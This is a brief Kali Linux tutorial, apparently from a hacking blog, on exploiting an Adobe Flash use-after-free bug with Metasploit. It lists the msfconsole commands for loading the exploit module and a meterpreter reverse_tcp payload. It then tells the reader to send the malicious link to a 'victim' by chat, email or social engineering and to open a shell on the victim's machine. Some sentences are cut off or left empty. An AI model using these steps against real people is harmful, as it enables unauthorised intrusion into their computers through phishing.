Kali Linux, Penetration Testing

Exploit Remote PC using Adobe Flash Player Byte Array Uncompress via ZlibVariant Use after Free

This module exploits an use after free vulnerability in Adobe Flash Player. The vulnerability occurs in the Byte Array::Uncompress ViaZlibVariant method, when trying to uncompress () a malformed byte stream. This module has been tested successfully on Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash, and

Exploit Targets



Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/windows/browser/adobe_flash_uncompress_zlib_uaf

msf exploit (adobe_flash_uncompress_zlib_uaf)>set payload windows/meterpreter/reverse_tcp

msf exploit (adobe_flash_uncompress_zlib_uaf)>set lhost (IP of Local Host)

msf exploit (adobe_flash_uncompress_zlib_uaf)>set srvhost

msf exploit (adobe_flash_uncompress_zlib_uaf)>set uripath /

msf exploit (adobe_flash_uncompress_zlib_uaf)>exploit  

Now an URL you should give to your victim

Send the link of the server to the victim via chat or email or any social engineering technique

Now when the victim opens the following link ( a session will be opened as shown below

Now type session –l to display sessions opened when the victim opens the link

Now the session has opened  type sysinfo to get system information, then type shell to enter into Victims command prompt.